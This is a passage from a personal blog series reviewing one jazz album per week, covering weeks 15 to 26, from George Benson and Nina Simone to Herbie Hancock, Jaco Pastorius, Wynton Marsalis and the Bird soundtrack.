intervening decades, thanks in no small part to Goodman himself: many consider his <a rel="external" href="https://en.wikipedia.org/wiki/The_Famous_1938_Carnegie_Hall_Jazz_Concert">1938 Carnegie Hall concert</a> to be the event that elevated jazz from popular frippery to serious art music. Society had changed as well, and Goodman was involved there too—his racially integrated quartet was highly controversial and nearly unprecedented, but that didn't stop them from touring the South; by all accounts that I've read, Goodman unflinchingly insisted on the equal treatment of all band members at every stop along the way.</p> <p>I'm not sure what the original reception to this album was in 1964, but I wouldn't be surprised if it mirrored my own: it's lovely music, but also clearly from another time—a long-lost treasure unearthed from a forgotten time capsule. I suppose that's a reputation one only earns by doing something groundbreaking in the first place.</p> <p>One final thought: while listening to this album, I kept feeling there was some kind of connection I couldn't quite place. By the end of the week I finally pieced it together: the theme from <em><a rel="external" href="https://www.youtube.com/watch?v=aMwSNDRP90o">Monsters, Inc.</a></em> sounds like it could've come right out of a Goodman ensemble (albeit with soprano sax filling in for clarinet). And man, what a bop that theme is.</p> <p><em>Favourite track:</em> Dearest</p> <h2 id="week-16">Week 16: <a href="https://musicbrainz.org/release-group/1bd3ecb6-e064-3eef-a850-25eb5c0a50ee">It&#x27;s Uptown</a></h2> <p>Inside George Benson there are two wolves:</p> <ol> <li>the coolest cat you've ever seen, and</li> <li>the softest, most wholesome guy you've ever met.</li> </ol> <p>In "Clockwise" he's laying down a <em>lick</em> on his electric guitar in tandem with the baritone sax, and hoo boy is it tasty. By contrast, "A Foggy Day" is a cover of a Gershwin song originally made popular by Fred Astaire—Benson's up-tempo take on it injects some much-needed pep, but that doesn't make it any less old-timey.</p> <p>Many of the artists we've heard so far have been singular students of jazz, devoting their entire career to discovering and mapping her many details. Not so with Benson—there's no disputing his jazz <em>bona fides</em> (as evidenced by this album), but he also extensively recorded pop and R&amp;B;<sup class="footnote-reference"><a href="#benson-beatles">15</a></sup> many of the 10 (!) Grammys he's won come from those latter two genres. The aforementioned Cool Guy/Nice Guy dichotomy is present in his pop stuff too: in "<a rel="external" href="https://www.youtube.com/watch?v=FIF7wKJb2iU">Give Me The Night</a>" he's about to sweep your girl off her feet and rollerskate<sup class="footnote-reference"><a href="#benson-rollerskating">16</a></sup> her away into the Californian sunset, but in "<a rel="external" href="https://www.youtube.com/watch?v=p7JyA5xE078">Never Give Up on a Good Thing</a>," relationship counselor Benson exhorts you to… never break up? (This is somewhat less surprising after learning that Benson is a Jehovah's Witness and is celebrating sixty years of marriage in 2025.)</p> <p>But back to <em>It's Uptown</em>: this is the first album we've heard that makes the guitar the star of the show. I have mixed feelings about that—it's hard to top the cool factor of a well-placed guitar riff, but I also find that the instrument struggles to evoke a certain mournful or plaintive tone that is so often core to jazz. That being said, the trusty six-string has other tricks up its sleeve. A great example is "Bullfight," where Benson starts by setting up a Latin beat with some dense, choppy rhythmic chords, then effortlessly transitions to the solo melody. Finally, it bears mentioning that although Benson came to fame as a prodigious guitarist, he's a great vocalist as well—I find the lyrics of the selections on this album a bit cheesy, but I'm a fan of the clear, bright tone of his voice.</p> <p>So until next week, follow Benson's example: be the baddest dude you can while still being a good guy.</p> <p><em>Favourite track:</em> Clockwise</p> <h2 id="week-17">Week 17: <a href="https://musicbrainz.org/release-group/3e756ef5-ffa4-3d48-83ae-f7f856a2b989">Nina Simone Sings the Blues</a></h2> <p>Perhaps more than any other artist we've heard thus far, Nina Simone defies categorization. Do we set her against the <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-2">other</a> <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-4">female</a> <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-8">vocalists</a> we've heard? On this album she sings the blues—ought we compare her to <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-1">Louis</a>? But of course, she was also a talented pianist, and we've heard <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-11">a few</a> <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-13">of those</a> as well; maybe they're a better fit?</p> <p>The answer, of course, is obvious: any attempt to confine such a singular artist to a particular label is an exercise in futility. Simone's own description of her work was "<a rel="external" href="https://www.bbc.co.uk/culture/article/20240215-in-history-nina-simone-how-racial-injustice-fuelled-her-songs">black classical music</a> <em>[…]</em> It's a combination of gospel, pop, love songs, political songs, so it is black-oriented classical music, that's what it is." I wasn't aware of how deep her classical music training ran—Simone loved Bach in particular, and that influence isn't hard to hear in this <a rel="external" href="https://www.classicfm.com/discover-music/instruments/piano/nina-simone-improvises-bach-fugue-classic-song/">fugal interlude</a> from one of her live performances.</p> <p>In <em>Nina Simone Sings the Blues</em>, we only get a small slice of her oeuvre (lacking many of her <a rel="external" href="https://www.youtube.com/watch?v=oHRNrgDIJfo">best-known</a> <a rel="external" href="https://www.youtube.com/watch?v=WCjzNfJLHa0">songs</a>), but it's a worthy one nonetheless. This week, let me take you through my favourite tracks from the album.</p> <h3 id="buck">Buck</h3> <p>This song isn't even two minutes long, but Simone still manages to pack a lot in. The flirty lyrics and light-hearted, breezy vocals make it a fun listen, but my favourite part is the opening organ riff that forms the backbone of the song: it's such a groovy saunter down the keys, and a total earworm.</p> <h3 id="i-want-a-little-sugar-in-my-bowl">I Want a Little Sugar in My Bowl</h3> <p>If "Buck" was suggestive, this one is downright filthy—the lyrics aren't subtle in their innuendo, which is especially surprising given that they're heavily based on a <a rel="external" href="https://en.wikipedia.org/wiki/Need_a_Little_Sugar_in_My_Bowl">1931 song</a>. (Not a time I associate with free expression of feminine libido!)</p> <p>This track puts the spotlight on Simone's vocals, and allows her softer side to shine. Simone had an incredible ability to channel powerful emotions (as we'll soon encounter), but this song shows she could be just as effective in a more subdued setting.</p> <h3 id="backlash-blues">Backlash Blues</h3> <p>Here we arrive at a portrait of Nina the activist: a series of <a rel="external" href="https://en.wikipedia.org/wiki/Medgar_Evers">horrific</a> <a rel="external" href="https://en.wikipedia.org/wiki/16th_Street_Baptist_Church_bombing">murders</a> in the 1960s spurred her to political advocacy; this song, with lyrics penned by her poet friend <a rel="external" href="https://en.wikipedia.org/wiki/Langston_Hughes">Langston Hughes</a> is one such example. The protest here is an icy cool, not a fiery rage—the guitar runs are gripping, and the whole piece drips with discontent (though not disempowerment).</p> <h3 id="the-house-of-the-rising-sun">The House of the Rising Sun</h3> <p>Surely you've heard <a rel="external" href="https://www.youtube.com/watch?v=N4bFqW_eu2I">The Animals' version</a> of this folk classic. That's not the only time they crossed paths with Simone—their cover of <a rel="external" href="https://www.youtube.com/watch?v=_2sz_YwwwQ4">Don't Let Me Be Misunderstood</a> was far more successful than Simone's original recording (which allegedly led to <a rel="external" href="https://www.covermesongs.com/2018/04/thats-a-cover-dont-let-me-be-misunderstood-the-animals-nina-simone.html">some tensions</a>).</p> <p>I find Simone's take here jauntier and less haunting than The Animals'—overall I prefer the latter, but the bluesy roots come through more strongly in Simone's.</p> <h3 id="my-man-s-gone-now">My Man's Gone Now</h3> <p>Far and away my favourite song of the album: every time I listen, it gives me full-body chills. I can't adequately describe this one—you'll need to listen for yourself—but the album notes give a good taste:</p> <blockquote> <p><em>My Man's Gone Now</em> was the last selection taped at the recording session. Miss Simone was physically and emotionally exhausted from previous recording, but she sat down at the piano and began to play and sing this moving "Porgy and Bess"<sup class="footnote-reference"><a href="#porgy-and-bess">17</a></sup> tune. The bass picked it up. From somewhere she called up the stamina to deliver with even more intensity and spirit a rare, perfect performance in one take, which could not possibly be improved.</p> </blockquote> <p>Simone's life wasn't an easy one: her famous temper repeatedly got her into serious trouble; near the end of her life that volatility was formalized in a diagnosis of bipolar disorder. In so many ways, she contained multitudes: despite our inclinations, her music and legacy defy tidy summarization. I'm very glad to have begun discovering her story this week.</p> <p><em>Favourite track:</em> My Man's Gone Now</p> <h2 id="week-18">Week 18: <a href="https://musicbrainz.org/release-group/1e493068-b80b-30c5-85f2-38009dd6a6c0">Piano Starts Here</a></h2> <p><em>Editor's note: we sincerely apologize for the disruption in our usual weekly publication schedule. We recently welcomed a new staff member at the Simpsonian and are very busy training him—we're confident that he'll one day become a valued addition to the team, especially once he can feed, bathe, and clothe himself.</em></p> <p>If someone says, "you <em>have</em> to listen to this," and the recording begins with a staticy hiss (as this one does), how should you react? In my opinion, you should be elated. Think of it this way: in 2025, we enjoy a surfeit of extremely high-quality audio recordings; if you want to hear a world-class pianist performing in optimal studio conditions, they're not in short supply. So if, despite that, someone recommends a low-quality recording, there must be something very special about the content. <em>Piano Starts Here</em> falls squarely into that camp.</p> <p>Unfortunately I lack the time to dive deep into Tatum's life, so I'll confine myself to the basics: he plays like a man possessed, which you can confirm for yourself by listening to thirty seconds of his music. Many regard him as the greatest jazz pianist ever to have lived; many renowned pianists cite him as a formative influence. But what's more impressive to me is his legacy as an <em>anti</em>-influence: Wikipedia has <a rel="external" href="https://en.wikipedia.org/wiki/Art_Tatum#Influence">a paragraph</a> on all the musicians who heard Tatum play and found the skill gap so disheartening they gave up the piano entirely. One such flunky was Les Paul, so arguably Art Tatum invented the electric guitar?</p> <p>Tatum's playing reminds me of only one other pianist: <a rel="external" href="https://en.wikipedia.org/wiki/Vladimir_Horowitz">Vladimir Horowitz</a>. Horowitz holds a special place in my heart because I stumbled upon him by pure chance: I purchased a used album of his from my local library on a whim and had my socks thoroughly knocked off the first time I listened to it. The best simile I can offer is that Horowitz's playing (especially in the upper register on the right hand) is like water pouring from a handcrafted teapot: a flow so steady, swift, and perfect that there's no telling where one note ends and the next begins. Tatum is the only other pianist I've heard who can match that lofty bar, and as it so happens, the two were contemporaries; I was delighted to read about some of their encounters <a rel="external" href="https://vivavirtuoso.com/tatum-horowitz-and-tea-for-two/">here</a>.</p> <p><em>Favourite track:</em> St. Louis Blues<sup class="footnote-reference"><a href="#tatum-st-louis-blues">18</a></sup></p> <h2 id="week-19">Week 19: <a href="https://musicbrainz.org/release-group/72641bf6-4da9-3cbc-8a11-2e4f03b571ec">Concert by the Sea</a></h2> <p>Wow, what a contrast with <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-18">last week</a>. Whereas Tatum astonishes with technical wizardry, Erroll Garner shows that less can be more; Tatum bowls the listener over with an incessant acoustic assault, while Garner makes the silences work just as hard as the notes themselves. By far my favourite feature of Garner's playing is when he really unleashes that booming, thundering bass from his left hand (like in "How Could You Do a Thing Like That to Me"). It feels almost sacrilegious to say, but I far prefer Garner's approach: I will forever be in awe of what Tatum could do on the keys, but Garner strikes me as simply more <em>musical</em> in the end.</p> <p>That we even have this album is a happy accident: per <a rel="external" href="https://en.wikipedia.org/wiki/Concert_by_the_Sea#Recording_and_music">Wikipedia</a>, there were no plans to record it, but Garner's manager spied a tape recorder running backstage (placed by an enterprising <a rel="external" href="https://en.wikipedia.org/wiki/Taper_(concert)">taper</a>); that tape eventually became this album. It was an especially fortunate happenstance for Garner's label, Columbia—the notes for the 2015 rerelease claim that the album brought in over a million dollars in sales by 1958 (three years after the original release). Not bad for a record with an out-of-tune piano and barely audible backing instruments!</p> <p>As is tradition around here, allow me to offer a connection in closing: <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-3">early on</a>, we met Art Blakey, along with his Messengers. Blakey's widely considered to be one of the greatest jazz drummers of all time, and to some extent he has Garner to thank for that: <a rel="external" href="http://artblakey.com/biography/">according to Blakey</a>, he started his career gigging on the piano, but that ended abruptly one night when the club owner ordered him onto the drums instead. One gets the impression that Blakey perhaps wasn't entirely enthusiastic about the request at first—but when the club owner pulled his pistol on Blakey, Blakey had a sudden change of heart. For whom was Blakey vacating the piano bench? You've already guessed it, of course: Erroll Garner.</p> <p><em>Favourite track:</em> Mambo Carmel<sup class="footnote-reference"><a href="#mambo-carmel">19</a></sup></p> <h2 id="week-20">Week 20: <a href="https://musicbrainz.org/release-group/322f18bb-5491-38e9-9044-c0a468651eec">Head Hunters</a></h2> <p>What the <em>funk</em> is this‽</p> <p>Right from the first listen, this has jumped into my personal top five albums from this project, and probably the top three. It's a total mind virus; I've been listening to it every day since. Once you have the opening lick in your eardrums, it's all over. There is simply no escaping it.</p> <p>I don't have any particularly intelligent analysis (as usual); all there is to say is that the vibes here are immaculate. "Chameleon" makes me want to stalk around Manhattan at 2 a.m. "Watermelon Man" makes me want to drive around like that <a rel="external" href="https://archive.org/details/gorillaz_final_drive">old 3D Gorillaz game</a> (<a rel="external" href="https://www.youtube.com/watch?v=Ozr6SBxIOE8">video</a>). "Sly" makes me want to frantically scramble to evade the police. "Vein Melter" makes me want to… actually I'm not sure; that one's pretty chill.</p> <p>I had never heard of Hancock before this, which is impressive, given that he's accomplished pretty much everything there is for a musician to accomplish. A quick sampler of some of his laurels: personally scouted by Miles Davis for his "<a rel="external" href="https://en.wikipedia.org/wiki/Miles_Davis_Quintet#Second_Great_Quintet_(1964%E2%80%9368)">Second Great Quintet</a>;" 14 Grammys (including Album of the Year); and an Oscar for Best Original Score. No lack of commercial success either: Wikipedia <a rel="external" href="https://en.wikipedia.org/wiki/Head_Hunters">claims</a> (albeit without citation) that <em>Head Hunters</em> was the best-selling jazz album ever until <em>Breezin'</em> (by <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-16">George Benson</a>) came along. Plus, he made a nice chunk of change recording jingles for all kinds of TV commercials, and he composed the theme for a <em>Fat Albert</em> special. But he isn't a commercial sellout either: Hancock was (and continues to be) chairman of the "Thelonious Monk Institute of Jazz" for so long that they decided to just rename it the "Herbie Hancock Institute of Jazz" instead.<sup class="footnote-reference"><a href="#hancock-institute-of-jazz">20</a></sup></p> <p>This album is arguably our first glimpse into jazz <em>fusion</em>: the extended solos and general structure are reminiscent of the jazz we've heard so far, but the instrumentation (especially the heavy focus on synthesizers/electric piano) and general funkiness are a new twist, and I am 100% here for it. And can I just say: fusion <em>anything</em> is obviously always going to be better than the original. It's practically so by definition—take the best parts of multiple things and stick them together—how could that <em>not</em> be better than what you started with? French fries in my falafel wrap? Synthesizers in my jazz? Yep, a double helping of each please. FUSE IT!</p> <p><em>Favourite track:</em> Chameleon</p> <h2 id="week-21">Week 21: <a href="https://musicbrainz.org/release-group/9593f389-108f-4558-831f-a236d6ea0c9f">The Best of Two Worlds</a></h2> <p>Ah, we've arrived at <em>bossa nova</em>: Spanish for "the new boss," because when João Gilberto and Stan Getz popularized the genre with their 1964 album <em>Getz/Gilberto</em>, everyone took notice of the new boss in town. Or something like that.</p> <p>This album, <em>The Best of Two Worlds</em>, is the reunion of Getz (saxophone) and Gilberto (vocals) over a decade later. (Gilberto's then-wife, known professionally as Miúcha, joins as well, providing the English vocals.) This music is precious: it's exquisitely beautiful, and sumptuously smooth. That smoothness is pleasing, but at times it runs the risk of becoming sedate. When I listen to jazz, I'm not looking to appreciate an abstract Rothko with detached amusement—I want my passions <em>inflamed</em>, dammit! <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-9">Tijuana Moods</a> is such an interesting contrast here: both albums have their souls in Latin America, but their vibes could not be any more different. <em>The Best of Two Worlds</em> is foolproof dinner party background music; with Mingus it's chaos and confusion, fire and brimstone. (Yes, the hellfire is a <em>good</em> thing.)</p> <p>That being said, the first two songs on this album are sublime enough to transcend my impertinent grousing. "Double Rainbow" is the most magnificent song ever to feature a double rainbow, and that is a category with <a rel="external" href="https://www.youtube.com/watch?v=MX0D4oZwCsA"><em>stiff</em> competition</a>. But "Aguas de Março (Waters of March)" is the runaway star for me. I don't generally go for its style of free-form, abstract lyrics, but here everything just <em>works</em>, thanks largely to Miúcha's lithe vocals and Getz's legendary tone. (No shade to Gilberto, who is a great singer as well, but he just doesn't make my heart ache like Miúcha.) Apparently the lyrics <a rel="external" href="https://en.wikipedia.org/wiki/Waters_of_March">are inspired by</a> the sudden, heavy March rains in Rio de Janeiro, which routinely carry various detritus through the streets. It's a highly evocative image, and one that makes me think I need to get outside more. I shudder to think of a version of this song inspired by my life… <em>A bit, a byte, a keystroke at night…</em></p> <p><em>Favourite track:</em> Aguas de Março (Waters of March)</p> <h2 id="week-22">Week 22: <a href="https://musicbrainz.org/release-group/346b2263-a899-3d3e-8b08-84efe58dfe10">Jaco Pastorius</a></h2> <p>I expected to like <em>Jaco Pastorius</em>—both the bassist as well as his self-titled debut album—from the start. It is the official editorial position of the Simpsonian that <a rel="external" href="https://en.wikipedia.org/wiki/Rush_(band)">Rush</a> is the greatest rock group of all time, so I hope there is no doubt when I say that I surely appreciate a proper <a rel="external" href="https://www.youtube.com/watch?v=zzCB6Q3sc60">bass-slapping</a>. Alas, despite all that, my first listen of this album sailed right under my whelms. I had a hard time following along or categorizing the album: we start with the virtuosic but minimal "Donna Lee," followed by the distinctly R&amp;B "Come On, Come Over", then a few progressive tracks, finally tied up with some soaring strings?<sup class="footnote-reference"><a href="#pastorius-bonus-tracks">21</a></sup> I couldn't make heads or tails of it.</p> <p>But with repeated listens, something finally clicked. The real "a-ha" moment for me was likening this album to Daft Punk's <em>Random Access Memories</em>—bear with me. Yes, the two albums sound pretty different, but they both explore all kinds of different musical ideas/genres, while still maintaining a coherent, singular identity that binds all the tracks together. Even when drilling down to the level of individual tracks there's some fun parallels; let me break them down for you:</p> <table><thead><tr><th>Archetype</th><th><em>Jaco Pastorius</em></th><th><em>Random Access Memories</em></th></tr></thead><tbody> <tr><td>Catchy dance hit featuring another R&amp;B group on vocals</td><td>"Come On, Come Over" (feat. <a rel="external" href="https://en.wikipedia.org/wiki/Sam_%26_Dave">Sam &amp; Dave</a>)</td><td>"Get Lucky" (feat. <a rel="external" href="https://en.wikipedia.org/wiki/Pharrell_Williams">Pharrell Williams</a>)</td></tr> <tr><td>Minimal track that strongly features a single instrument</td><td>"Portrait of Tracy" (maybe "Donna Lee" as well?)</td><td>"Within"</td></tr> <tr><td>Soaring string introduction</td><td>"Forgotten Love"</td><td>"Beyond"</td></tr> <tr><td>Eight-ish minutes of experimental prog <em>something</em></td><td>"Kuru / Speak Like a Child"<sup class="footnote-reference"><a href="#kuru">22</a></sup></td><td>"Touch" (arguably "Giorgio by Moroder" too)</td></tr> </tbody></table> <p>But there's also a more direct jazz connection worth pointing out here: Herbie Hancock! We first met Hancock a <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-20">couple weeks ago</a> alongside his Headhunters; Hancock features prominently on this album too. He plays keyboard on several tracks here, and the "Speak Like a Child" half of "Kuru / Speak Like a Child" comes from an earlier composition of his. Hancock was clearly a fan of the young Pastorius; the back of the album features this extended praise:</p> <blockquote> <p>Jaco is a phenomenon. He is able to make sounds on the bass that are a total surprise to the sensibilities. Not only single notes, but chords, harmonics, and all sorts of nuances with the color of the instrument that when combined and translated through Jaco make for some of the best music that I've heard in a long time.</p> <p>Of course, it's not the technique that makes the music; it's the sensitivity of the musician and his ability to be able to fuse his life with the rhythm of the times. This is the essence of music. On this record Jaco captures some of that rhythm.</p> </blockquote> <p>So after a week's worth of listening, I've ended up exactly where I thought I would: this album is awesome; highly recommended.</p> <p><em>Favourite track:</em> Kuru / Speak Like a Child</p> <h2 id="week-23">Week 23: <a href="https://musicbrainz.org/release-group/f1753c0a-50be-3591-8cbb-6848142e055f">Heavy Weather</a></h2> <p>We're back in jazz fusion land, with a fun chain of connections leading to this week's album: we first started getting funky with <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-20">Herbie Hancock</a>, who was also instrumental in Jaco Pastorius's <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-22">debut album</a>. Jaco is back again this week as the sole bassist for this Weather Report album—a gig he secured by approaching the band's leader, Joe Zawinul, after a show and proclaiming "I'm John Francis Pastorius III. I'm the greatest bass player in the world." ("As was [Jaco's] habit," <a rel="external" href="https://en.wikipedia.org/wiki/Jaco_Pastorius#Weather_Report">Wikipedia adds</a>!) Jaco's debut album was great, but this is the one that made me a believer: in my listening notes, I wrote "the electric guitar is the star of this album". So imagine my surprise when I discovered there <em>is</em> no electric guitar on this album—it's just Jaco doing Jaco things on his bass.</p> <p>The liberal use of synthesizers gives <em>Heavy Weather</em> a full and more modern sound compared to many of the other albums we've heard—and with Pastorius on the bass, it should come as no surprise that he gets plenty of time in the spotlight (especially on "Teen Town"). The many solos throughout the album (bass and otherwise) continually enthrall (e.g., the electric piano (?) near the end of "A Remark You Made"; the sax at 2:00 in "The Juggler"), but so too do the smaller ornamentations—the "da-ding" on the piano at around 1:08 in "The Juggler" is tiny but adds so much. "Rumba Mamá" feels like the odd one out to me here: recorded live in 1976, it's heavy on vocals and Latin beats, but light on everything else—a significant departure from the rest of the album.</p> <p>The best-known song from the album is "Birdland," and while it's a phenomenal track (especially Jaco's bass near the start!), my one critique is that it ends up feeling a little too "sunshine &amp; rainbows" for me. There's so much intrigue and anticipation at first, but I find the theme introduced right at 2:00 so irrepressibly upbeat that it dominates the mood, and collapses any emotional ambiguity into a one-note <em>feelin' good</em>. If you're looking for an easy smile, it's great; I only wish they had left a little more of that initial edge on it. But that depressive nitpicking of an irredeemable curmudgeon hardly dampens the bright skies on display here—I'll be returning to <em>Heavy Weather</em> season after season.</p> <p><em>Favourite track:</em> A Remark You Made</p> <h2 id="week-24">Week 24: <a href="https://musicbrainz.org/release-group/f2427193-b934-38e4-9dda-a04046632950">Marsalis Standard Time, Volume 1</a></h2> <p>Over the past several weeks, we've seen a certain correlation: the more recent an album is, the more it seems to depart from "traditional" jazz, in favour of <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-23">pushing the boundaries</a> or <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-20">incorporating other genres</a>. <em>Marsalis Standard Time, Volume 1</em> bucks that trend: despite being first released in 1987 (a mere 38 years ago…), there's no bells and whistles here, nor is there even a hint of fusion: this is just old-school <em>jazz</em>, baby.</p> <p>What I didn't know during my first listen is that this approach is very <a rel="external" href="https://en.wikipedia.org/wiki/Wynton_Marsalis#Debate_on_jazz">characteristic of Marsalis</a>. He's a staunch traditionalist in the world of jazz, a proponent of "<a rel="external" href="https://en.wikipedia.org/wiki/Straight-ahead_jazz">straight-ahead</a>" jazz. Accordingly, on this album Marsalis picks a number of standards and brings them to us with exacting precision. In other weeks, we've heard original compositions that are clearly the works of an auteur intent on moving the art as a whole forward; by contrast, Marsalis is content to simply add his take on tried-and-true tunes. For me, the result is more reminiscent of classical music than anything else: the compositions themselves are taken to be fixed, and we instead are interested in a performer's personal interpretation of them.<sup class="footnote-reference"><a href="#classical-vs-jazz">23</a></sup> And just like classical music, the contemporary listener benefits from advances in recording technology; the tracks here are crisp and clear, unlike some of the earlier albums we've heard. Overall, Marsalis and his band produce wonderful results here, and I think there is value in some musicians focusing on excellent performances of "no-nonsense" works. But I can't endorse his philosophy as a whole—in a world with only Marsalians, wouldn't jazz become a dog chasing its tail, celebrating where it's been without having anywhere to go?</p> <p>But let's set ideological quarrels aside, because this week we've got just enough contenders for our first-ever… Standards Showdown! Part of the culture and tradition of jazz is a shared songbook of "<a rel="external" href="https://en.wikipedia.org/wiki/Jazz_standard">standards</a>" that are routinely covered by performers. After 24 albums, we've got enough overlap that I thought it would be fun to put Marsalis's recordings head-to-head against some others.</p> <h2 id="april-in-paris-vs-garner">"April in Paris" vs. <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-19">Garner</a></h2> <p>I'll be honest: when I first listened to these side-by-side, I couldn't tell they were supposed to be based on the same tune. After comparing to some other recordings, it seems to me that Garner was pretty liberal with his ornamentation. Not that he's the first to do so, mind you—<a rel="external" href="https://www.youtube.com/watch?v=wCmcoZktZG4">Count Basie's Orchestra</a> smuggled "Pop! Goes the Weasel" into their cover?? To my ear, Marsalis is truer to the heart of the tune, and for that, he takes the first point.</p> <p>Note: "April in Paris" was also on the <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-8">Helen Merrill</a> album we heard, but since she sings hers, I'll exclude it in the interest of trying to keep an apples-to-apples comparison.</p> <p><em>Winner:</em> Marsalis</p> <h2 id="a-foggy-day-vs-benson">"[A] Foggy Day" vs. <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-16">Benson</a></h2> <p>No disrespect to any of the great <a rel="external" href="https://www.youtube.com/watch?v=3yNfmKh2XoQ">crooners</a>, but I've always preferred the energy of Benson's up-tempo, snappy take on this one. However, I can't help but find the lyrics themselves <em>so cheesy</em>.<sup class="footnote-reference"><a href="#foggy-day-lyrics">24</a></sup> Marsalis, by contrast, get to have his cake and eat it too: he takes that earworm melody and spins it out instrumentally for a full seven-and-a-half minutes. All the fun, with none of the cheese—notch a second point for Marsalis. (It's an especially meaningful win for Marsalis, because Benson was one of the poster boys for the "corruption" of jazz, with his pop stylings.)</p> <p><em>Winner:</em> Marsalis</p> <h2 id="autumn-leaves-vs-garner">"Autumn Leaves" vs. <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-19">Garner</a></h2> <p>I am a sucker for the drama with which Garner suffuses this one: when that left hand comes crashing in like the waves against the shore at his <em>Concert by the Sea</em>, it gets me every time. While I do love the tug-of-war between the fast and slow tempi at the start of Marsalis's take, it never reaches the same emotional highs for me. Garner wins the rematch, preventing a Marsalis sweep!</p> <p><em>Winner:</em> Garner</p> <p>Two out of three ain't bad, Marsalis—a solid showing indeed for the inaugural Standards Showdown. A couple final tidbits of trivia to close us out:</p> <ul> <li>Marsalis is an alum of <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-3">The Jazz Messengers</a>—and that's not <a href="https://simpsonian.ca/fifty-weeks-of-jazz/week-19/">the first time</a> we've seen a connection to Art Blakey's group.</li> <li>Marsalis is one of the only artists we've heard who is still actively performing. In fact, he's currently <a rel="external" href="https://wyntonmarsalis.org/tour/upcoming">on tour</a>.</li> </ul> <p><em>Favourite track:</em> Caravan</p> <h2 id="week-25">Week 25: <a href="https://musicbrainz.org/release-group/1180ff72-47cc-3fd2-835c-5e39df7ba79f">Bird: Original Motion Picture Soundtrack</a></h2> <p><a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-23">Two weeks ago</a>, we were listening to "Birdland" by Weather Report, and this week we come full circle: that song took its name from <a rel="external" href="https://en.wikipedia.org/wiki/Birdland_(New_York_jazz_club)">a New York jazz club</a>, which was itself named after <a rel="external" href="https://en.wikipedia.org/wiki/Charlie_Parker">Charlie "Yardbird" Parker</a>—better known as just "Bird." Parker was one of the most influential saxophonists in the history of jazz, and is the subject of Clint Eastwood's 1988 biographical film <a rel="external" href="https://en.wikipedia.org/wiki/Bird_(1988_film)"><em>Bird</em></a>, from which we get this week's album.</p> <p>Eastwood is a lifelong lover of jazz for whom Parker was a particular inspiration. So when he set out to tell Bird's story, he faced a problem: given Bird's untimely passing, the recordings we have of him are generally of poor quality, and would have stuck out sorely in the movie. Eastwood and music supervisor Lennie Niehaus agreed that having a contemporary saxophonist "dub" Parker's iconic playing would be sacrilegious, so they tasked the audio engineers with surgically extracting Parker's solos from those original recordings (!).<sup class="footnote-reference"><a href="#chan-private-recordings">25</a></sup> Contemporary musicians then re-recorded the other parts alongside those authentic Parker solos for the film's score.</p> <p>As part of this week's research, it only seemed right that I supplement the soundtrack by watching the movie. It's over two and a half hours long, but it never seemed to drag for me, owing largely to the warmth, humour, and almost childish tenderness Forest Whitaker brings to the lead role. In my viewing, two things stood out in particular: first, it was fascinating to be <em>visually</em> immersed in the jazz culture of 1950s New York City. Throughout this project, our exposure to the leading names of jazz has been almost exclusively through their musical output—Eastwood's biopic delivers the sights and social dramas of the period in addition to the music. And while the NYC of today in many ways looks quite different compared to that depicted in <em>Bird</em>, one scene hasn't changed: wherever jazz thrives, there will be bustling clubs filled with drink-laden tables and packed with an audience enraptured by the cats on stage.</p> <p>Secondly, it was fascinating to be reminded of just how <em>controversial</em> bebop was in its nascent days—after Bird and the gang try to bring this new style to the West Coast, their engagement is cancelled early, with some unnamed music executive declaring "bebop tends to pervert young minds." Hoo boy! In our era of <a rel="external" href="https://en.wikipedia.org/wiki/Drill_music">drill music</a>, and, well, <a rel="external" href="https://www.youtube.com/watch?v=hsm4poTWjMs">WAP</a>, it's quaint to see how reviled bebop was for its… use of chromatic scales? (Yes, okay, presumably much of that ill reputation was due to bebop's association with the drug scene—that same drug scene that killed Bird before 35, along with a slew of other jazzmen—but still, perverting young minds??)</p> <p>But for all these words I have yet to comment on the music itself. Alas, I clearly have yet to achieve jazz transcendence: for all my efforts, I can't quite detect what makes Parker so singularly spectacular. That's not to say I didn't enjoy it—"Lester Leaps In" has infectious energy; "Laura" is heart-wrenching; "April in Paris" might've won last week's <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-24">Standards Showdown</a> —but what most caught my ear were <a rel="external" href="https://en.wikipedia.org/wiki/Jon_Faddis">Jon Faddis</a>'s fleet-fingered trumpet solos on "Ko Ko" and "Ornithology" (where he covers his mentor, <a rel="external" href="https://en.wikipedia.org/wiki/Dizzy_Gillespie">Dizzy Gillespie</a>).</p> <p>Let me close this week by once again lamenting the devastating effect that heroin had on Harlem and jazz, aptly chronicled by Stephen Eide in <a rel="external" href="https://www.city-journal.org/article/when-heroin-hit-jazz">this piece</a>. That is only one of innumerably many examples of communities ravaged by drugs, but it is one that robbed us of so many musical visionaries at their peak. Though Charlie Parker was taken from us far too soon, he is not forgotten—Bird lives.</p> <figure> <img src="/blog/fifty-weeks-of-jazz/./bird_lives.jpg" alt="A photo of sidewalk graffiti, proclaiming 'BIRD LIVES'" class="centre"> </figure> <p><em>Favourite track:</em> Ornithology</p> <h2 id="week-26">Week 26: <a href="https://musicbrainz.org/release-group/8743886f-f38c-3441-8694-030dae089cbf">Ellington Uptown</a></h2> <p>In an attempt to remedy last week's bebop <a href="https://simpsonian.ca/blog/fifty-weeks-of-jazz/#week-25">perversion of young minds</a>, this week brings a double helping of wholesome jazz—straight from one of America's most beloved band leaders, Duke Ellington. The last time we heard from the Duke, 